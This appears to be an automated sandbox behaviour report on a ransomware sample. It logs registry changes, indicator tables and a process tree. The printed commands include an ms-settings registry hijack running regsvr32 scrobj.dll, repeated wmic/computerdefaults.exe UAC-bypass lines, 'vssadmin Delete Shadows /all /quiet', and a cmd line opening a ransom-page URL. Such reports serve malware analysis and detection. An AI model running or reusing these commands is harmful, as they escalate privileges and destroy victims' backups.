Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 02ce5af81ed6d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "343322175"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingDelete\C:\Users\Admin\AppData\Local\Packa = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000d8e1deca3a590f790a3f5db48da905651816c64e6ecc07f477b5a99b65d6be61a0dffe0ee17f7025146b76f11301e6d832aa2307a1c00141cd47	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	WMIC.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 79f0e5fcadd1d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 550ca8dd1ed6d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\ClearBrowsingHistoryOnStart = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 79f0e5fcadd1d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByDirection = "1"	Explorer.EXE

Opens file in notepad (likely ransom note) 3 IoCs

ransomware

pid	Process
4920	NOTEPAD.EXE
208	NOTEPAD.EXE
640	notepad.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2056	Explorer.EXE
4976	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe
828	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2056	Explorer.EXE
3700	OpenWith.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
4040	MicrosoftEdgeCP.exe
4040	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	828	WerFault.exe
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1920	WMIC.exe
Token: SeSecurityPrivilege	1920	WMIC.exe
Token: SeTakeOwnershipPrivilege	1920	WMIC.exe
Token: SeLoadDriverPrivilege	1920	WMIC.exe
Token: SeSystemProfilePrivilege	1920	WMIC.exe
Token: SeSystemtimePrivilege	1920	WMIC.exe
Token: SeProfSingleProcessPrivilege	1920	WMIC.exe
Token: SeIncBasePriorityPrivilege	1920	WMIC.exe
Token: SeCreatePagefilePrivilege	1920	WMIC.exe
Token: SeBackupPrivilege	1920	WMIC.exe
Token: SeRestorePrivilege	1920	WMIC.exe
Token: SeShutdownPrivilege	1920	WMIC.exe
Token: SeDebugPrivilege	1920	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1920	WMIC.exe
Token: SeRemoteShutdownPrivilege	1920	WMIC.exe
Token: SeUndockPrivilege	1920	WMIC.exe
Token: SeManageVolumePrivilege	1920	WMIC.exe
Token: 33	1920	WMIC.exe
Token: 34	1920	WMIC.exe
Token: 35	1920	WMIC.exe
Token: 36	1920	WMIC.exe
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeShutdownPrivilege	2056	Explorer.EXE
Token: SeCreatePagefilePrivilege	2056	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2908	WMIC.exe
Token: SeSecurityPrivilege	2908	WMIC.exe
Token: SeTakeOwnershipPrivilege	2908	WMIC.exe
Token: SeLoadDriverPrivilege	2908	WMIC.exe
Token: SeSystemProfilePrivilege	2908	WMIC.exe
Token: SeSystemtimePrivilege	2908	WMIC.exe
Token: SeProfSingleProcessPrivilege	2908	WMIC.exe
Token: SeIncBasePriorityPrivilege	2908	WMIC.exe
Token: SeCreatePagefilePrivilege	2908	WMIC.exe
Token: SeBackupPrivilege	2908	WMIC.exe
Token: SeRestorePrivilege	2908	WMIC.exe
Token: SeShutdownPrivilege	2908	WMIC.exe

Suspicious use of FindShellTrayWindow 21 IoCs

pid	Process
952	iexplore.exe
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
3996	MicrosoftEdge.exe
4040	MicrosoftEdgeCP.exe
4040	MicrosoftEdgeCP.exe
2056	Explorer.EXE
2056	Explorer.EXE
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
3700	OpenWith.exe
952	iexplore.exe
952	iexplore.exe
2056	Explorer.EXE
2056	Explorer.EXE
296	IEXPLORE.EXE
296	IEXPLORE.EXE
296	IEXPLORE.EXE
296	IEXPLORE.EXE
296	IEXPLORE.EXE
2120	OpenWith.exe
2120	OpenWith.exe
2120	OpenWith.exe
2120	OpenWith.exe
2120	OpenWith.exe
2120	OpenWith.exe

Suspicious use of UnmapMainImage 4 IoCs

pid	Process
2056	Explorer.EXE
2056	Explorer.EXE
2056	Explorer.EXE
3492	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 640	2636	svchost.exe	71
PID 2636 wrote to memory of 640	2636	svchost.exe	71
PID 2636 wrote to memory of 1728	2636	svchost.exe	72
PID 2636 wrote to memory of 1728	2636	svchost.exe	72
PID 2636 wrote to memory of 1976	2636	svchost.exe	73
PID 2636 wrote to memory of 1976	2636	svchost.exe	73
PID 2636 wrote to memory of 4024	2636	svchost.exe	74
PID 2636 wrote to memory of 4024	2636	svchost.exe	74
PID 4024 wrote to memory of 1920	4024	cmd.exe	78
PID 4024 wrote to memory of 1920	4024	cmd.exe	78
PID 2644 wrote to memory of 1816	2644	sihost.exe	79
PID 2644 wrote to memory of 1816	2644	sihost.exe	79
PID 2644 wrote to memory of 624	2644	sihost.exe	80
PID 2644 wrote to memory of 624	2644	sihost.exe	80
PID 1976 wrote to memory of 2908	1976	cmd.exe	83
PID 1976 wrote to memory of 2908	1976	cmd.exe	83
PID 2056 wrote to memory of 920	2056	Explorer.EXE	84
PID 2056 wrote to memory of 920	2056	Explorer.EXE	84
PID 2056 wrote to memory of 1484	2056	Explorer.EXE	85
PID 2056 wrote to memory of 1484	2056	Explorer.EXE	85
PID 624 wrote to memory of 1156	624	cmd.exe	88
PID 624 wrote to memory of 1156	624	cmd.exe	88
PID 2884 wrote to memory of 1528	2884	taskhostw.exe	90
PID 2884 wrote to memory of 1528	2884	taskhostw.exe	90
PID 2884 wrote to memory of 1712	2884	taskhostw.exe	91
PID 2884 wrote to memory of 1712	2884	taskhostw.exe	91
PID 1816 wrote to memory of 1720	1816	cmd.exe	94
PID 1816 wrote to memory of 1720	1816	cmd.exe	94
PID 1484 wrote to memory of 2176	1484	cmd.exe	95
PID 1484 wrote to memory of 2176	1484	cmd.exe	95
PID 3492 wrote to memory of 2132	3492	RuntimeBroker.exe	96
PID 3492 wrote to memory of 2132	3492	RuntimeBroker.exe	96
PID 3492 wrote to memory of 2932	3492	RuntimeBroker.exe	97
PID 3492 wrote to memory of 2932	3492	RuntimeBroker.exe	97
PID 920 wrote to memory of 844	920	cmd.exe	100
PID 920 wrote to memory of 844	920	cmd.exe	100
PID 3796 wrote to memory of 2308	3796	WMIC.exe	101
PID 3796 wrote to memory of 2308	3796	WMIC.exe	101
PID 3796 wrote to memory of 2676	3796	WMIC.exe	102
PID 3796 wrote to memory of 2676	3796	WMIC.exe	102
PID 1712 wrote to memory of 3192	1712	cmd.exe	106
PID 1712 wrote to memory of 3192	1712	cmd.exe	106
PID 3796 wrote to memory of 2216	3796	WMIC.exe	105
PID 3796 wrote to memory of 2216	3796	WMIC.exe	105
PID 3796 wrote to memory of 2184	3796	WMIC.exe	108
PID 3796 wrote to memory of 2184	3796	WMIC.exe	108
PID 1528 wrote to memory of 3420	1528	cmd.exe	110
PID 1528 wrote to memory of 3420	1528	cmd.exe	110
PID 2932 wrote to memory of 2256	2932	cmd.exe	111
PID 2932 wrote to memory of 2256	2932	cmd.exe	111
PID 2132 wrote to memory of 3504	2132	cmd.exe	112
PID 2132 wrote to memory of 3504	2132	cmd.exe	112
PID 2676 wrote to memory of 924	2676	cmd.exe	113
PID 2676 wrote to memory of 924	2676	cmd.exe	113
PID 2308 wrote to memory of 1796	2308	cmd.exe	114
PID 2308 wrote to memory of 1796	2308	cmd.exe	114
PID 2184 wrote to memory of 2016	2184	cmd.exe	115
PID 2184 wrote to memory of 2016	2184	cmd.exe	115
PID 2216 wrote to memory of 3796	2216	cmd.exe	116
PID 2216 wrote to memory of 3796	2216	cmd.exe	116
PID 2500 wrote to memory of 4168	2500	cmd.exe	121
PID 2500 wrote to memory of 4168	2500	cmd.exe	121
PID 3424 wrote to memory of 4184	3424	cmd.exe	122
PID 3424 wrote to memory of 4184	3424	cmd.exe	122

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Modifies extensions of user files
- Suspicious use of WriteProcessMemory
PID:2636
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:640
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://e2c4dcf008f46e10beeltalkfzj.jobsbig.cam/eltalkfzj^&1^&28731418^&60^&271^&2215063"
  2⤵
  - Checks computer location settings
  PID:1728
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2908
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1920

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3788
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3788 -s 812
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3504
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2256

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2308
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:1796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:924
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2016
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:844
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2176
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:4624
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:4208
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" -nohome
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:952
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:952 CREDAT:82945 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:296
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Documents\RegisterExport.xla"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  PID:4976

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2884
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3420
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3192

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\wbem\WMIC.exe
